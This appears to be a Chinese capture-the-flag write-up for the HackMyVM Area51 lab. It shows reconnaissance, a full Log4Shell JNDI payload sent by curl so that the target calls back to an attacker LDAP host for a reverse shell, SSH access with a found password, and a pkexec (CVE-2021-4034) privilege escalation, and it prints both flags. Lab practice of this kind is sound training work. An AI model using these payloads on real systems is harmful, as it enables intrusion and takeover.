渗透靶场——HackMyVM:Area51

部署环境

提供镜像文件后,直接用虚拟机打开即可,kali攻击机用VMware打开即可,靶机用vbox打开即可

此次靶场是针对Log4j2漏洞复现的一个靶场,大家可以直接上手操作一遍

靶机ip地址:(桥接自动获取ip)

目标: user.txt和root.txt

信息收集

扫描主机

arp-scan -l

渗透靶场——HackMyVM:Area51_第1张图片
扫描到存活主机ip地址为192.168.1.97

扫描端口

nmap -A -p- -T4 192.168.1.97

渗透靶场——HackMyVM:Area51_第2张图片
发现端口有的还是80/8080/22这三个端口

Web渗透

老规矩,还是先访问80端口

http://192.168.1.97/

渗透靶场——HackMyVM:Area51_第3张图片这个界面可以说真是大气大气上档次,直接FBI,查看源码什么的没有效果,那就直接开始目录扫描试试,我还是继续采用昨天看到的gobuster进行扫描

目录扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.97 -x php,html,txt

渗透靶场——HackMyVM:Area51_第4张图片渗透靶场——HackMyVM:Area51_第5张图片
扫描的时候发现了这个note.txt文件,我们先访问下

http://192.168.1.97/note.txt

渗透靶场——HackMyVM:Area51_第6张图片然后直接网页翻译一下

渗透靶场——HackMyVM:Area51_第7张图片说明这个靶场中存在log4j2漏洞,接下来就开始验证即可

Log4j2漏洞复现

漏洞Log4j2,现在kali攻击机上下载poc

git clone https://github.com/kozmer/log4j-shell-poc.git

渗透靶场——HackMyVM:Area51_第8张图片
安装依赖

cd log4j-shell-poc

python3 -m pip install -r requirements.txt

渗透靶场——HackMyVM:Area51_第9张图片
黄色的有问题的部分可以直接忽略不计即可

先运行一下看看

python3 poc.py

渗透靶场——HackMyVM:Area51_第10张图片
还需要jdk1.8.0_20,下载jdk(注意:在kali机器中,log4j-shell-poc目录下必须有jdk1.8.0_20文件夹的java)

wget https://repo.huaweicloud.com/java/jdk/8u201-b09/jdk-8u201-linux-x64.tar.gz

渗透靶场——HackMyVM:Area51_第11张图片
下载完后开始解压

tar -zxvf jdk-8u201-linux-x64.tar.gz

渗透靶场——HackMyVM:Area51_第12张图片
解压后还需要进行操作就是把文件名进行修改
渗透靶场——HackMyVM:Area51_第13张图片`

mv jdk1.8.0_201 jdk1.8.0_20

渗透靶场——HackMyVM:Area51_第14张图片
这个时候就算是环境已经配置好了

我们还有一个8080端口没有访问,看一下情况

http://192.168.1.97:8080/

渗透靶场——HackMyVM:Area51_第15张图片这个报错很熟悉,这是SpringBoot的报错,直接上payload验证,那首先先把环境给启动起来

1、攻击机监听9001端口

nc -lvvp 9001

渗透靶场——HackMyVM:Area51_第16张图片
2、执行poc

python3 poc.py --userip 192.168.1.6(这是kaliIP地址)

渗透靶场——HackMyVM:Area51_第17张图片
3、执行payload

curl -H ‘X-Api-Version:${jndi:ldap://192.168.1.6:1389/a}’ http://192.168.1.97:8080/

渗透靶场——HackMyVM:Area51_第18张图片
验证成功,直接是root权限,来找一下flag

cd /root

ls -al

渗透靶场——HackMyVM:Area51_第19张图片
没有flag,而且文件还没有,情况不对,看看端口吧

netstat -ntlp

渗透靶场——HackMyVM:Area51_第20张图片
只有一个端口,估计是虚拟机或docker里面,

仔细看看有没有什么隐藏目录什么的
渗透靶场——HackMyVM:Area51_第21张图片
发现在var/tmp下有一个隐藏目录,查到了roger的密码

直接远程登录

ssh [email protected]

渗透靶场——HackMyVM:Area51_第22张图片
提示让输入内容,但没说输入什么内容,试了一圈最后按Ctrl+c结束进入roger账号
渗透靶场——HackMyVM:Area51_第23张图片
登录成功,找找敏感信息

ls -al
cat user.txt

渗透靶场——HackMyVM:Area51_第24张图片这个时候就拿到了第一个flag

FLAG = [ee11cbb19052e40b07aac0ca060c23ee]

尝试提权,可以直接上辅助提权脚本,也可以先尝试提权三件套试一试

sudo -l
find / -perm -u=s -type f 2>/dev/null
crontab -l

渗透靶场——HackMyVM:Area51_第25张图片
渗透靶场——HackMyVM:Area51_第26张图片
哦豁,看到了熟悉的,直接上传exp尝试提权(这个前段时间爆出的linux通杀本地提权漏洞,不了解的师傅可以参考一下这篇复现:(http://www.xinza1.top/archives/789)

然后先在kali机器上下载poc脚本

wget https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py

渗透靶场——HackMyVM:Area51_第27张图片
然后在靶机上下载(这块发现前后文件名不一样,其实我是把脚本里的内容从新复制了一下建立了一个新的文件,不影响的)

渗透靶场——HackMyVM:Area51_第28张图片发现已经提权成功

cd /root
ls
cat root.txt

渗透靶场——HackMyVM:Area51_第29张图片
拿到最终的flag

FLAG = [63a9f0ea7bb98050796b649e85481845]

你可能感兴趣的:(渗透测试,web安全,安全)